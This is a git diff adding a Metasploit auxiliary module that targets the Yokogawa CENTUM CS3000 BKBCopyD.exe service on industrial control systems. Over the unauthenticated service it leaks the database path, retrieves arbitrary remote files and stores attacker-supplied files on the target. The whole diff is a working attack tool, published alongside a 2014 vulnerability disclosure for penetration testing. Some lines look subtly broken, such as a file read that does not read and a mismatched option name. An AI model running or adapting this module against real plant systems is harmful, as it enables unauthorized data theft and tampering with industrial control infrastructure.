diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
new file mode 100644
index 0000000000..f7ed07c56a
--- /dev/null
+++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
@@ -0,0 +1,132 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Remote::TcpServer
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yokogawa BKBCopyD.exe Client',
+      'Description'    => %q{
+        This module allows an unauthenticated user to interact with the Yokogawa
+        CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
+        operations.
+      },
+      'Author'         =>
+        [ 'Unknown' ],
+      'References'     =>
+        [
+          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
+        ],
+      'Actions'     =>
+        [
+          ['PMODE', { 'Description' => 'Leak the current database' }],
+          ['RETR',  { 'Description' => 'Retrieve remote file' }],
+          ['STOR',  { 'Description' => 'Store remote file' }]
+        ],
+      'DisclosureDate' => 'Aug 9 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(20111),
+        OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
+        OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
+      ], self.class)
+  end
+
+  def srvport
+    @srvport
+  end
+
+  def run
+    exploit
+  end
+
+  def exploit
+    @srvport = rand(1024..65535)
+    print_status("#{@srvport}")
+    # We make the client connection before giving control to the TCP Server
+    # in order to release the src port, so the server can start correctly
+
+    case action.name
+    when 'PMODE'
+      print_status("Sending PMODE packet...")
+      data = "PMODE MR_DBPATH\n"
+      res = send_pkt(data)
+      if res and res =~ /^210/
+        print_good("Success: #{res}")
+      else
+        print_error("Failed...")
+      end
+      return
+    when 'RETR'
+      data = "RETR #{datastore['RPATH']}\n"
+      print_status("Sending RETR packet...")
+      res = send_pkt(data)
+      return unless res and res =~ /^150/
+    when 'STOR'
+      data = "STOR #{datastore['RPATH']}\n"
+      print_status("Sending STOR packet...")
+      res = send_pkt(data)
+      return unless res and res =~ /^150/
+    else
+      print_error("Incorrect action")
+      return
+    end
+
+    super # TCPServer :)
+  end
+
+  def send_pkt(data)
+    connect(true, {'CPORT' => @srvport})
+    sock.put(data)
+    data = sock.get_once
+    disconnect
+
+    return data
+  end
+
+  def valid_response?(data)
+    return false unless !!data
+    return false unless data =~ /500  'yyparse error': command not understood/
+    return true
+  end
+
+  def on_client_connect(c)
+    if action.name == 'STOR'
+      contents = ""
+      File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
+      print_status("#{c.peerhost} - Sending data...")
+      c.put(contents)
+      self.service.close
+      self.service.stop
+    end
+  end
+
+  def on_client_data(c)
+    print_status("#{c.peerhost} - Getting data...")
+    data = c.get_once
+    return unless data
+    if @store_path.blank?
+      @store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
+      print_good("#{@store_path} saved!")
+    else
+      File.open(@store_path, "ab") { |f| f.write(data) }
+      print_good("More data on #{@store_path}")
+    end
+  end
+
+  def on_client_close(c)
+    stop_service
+  end
+
+end
+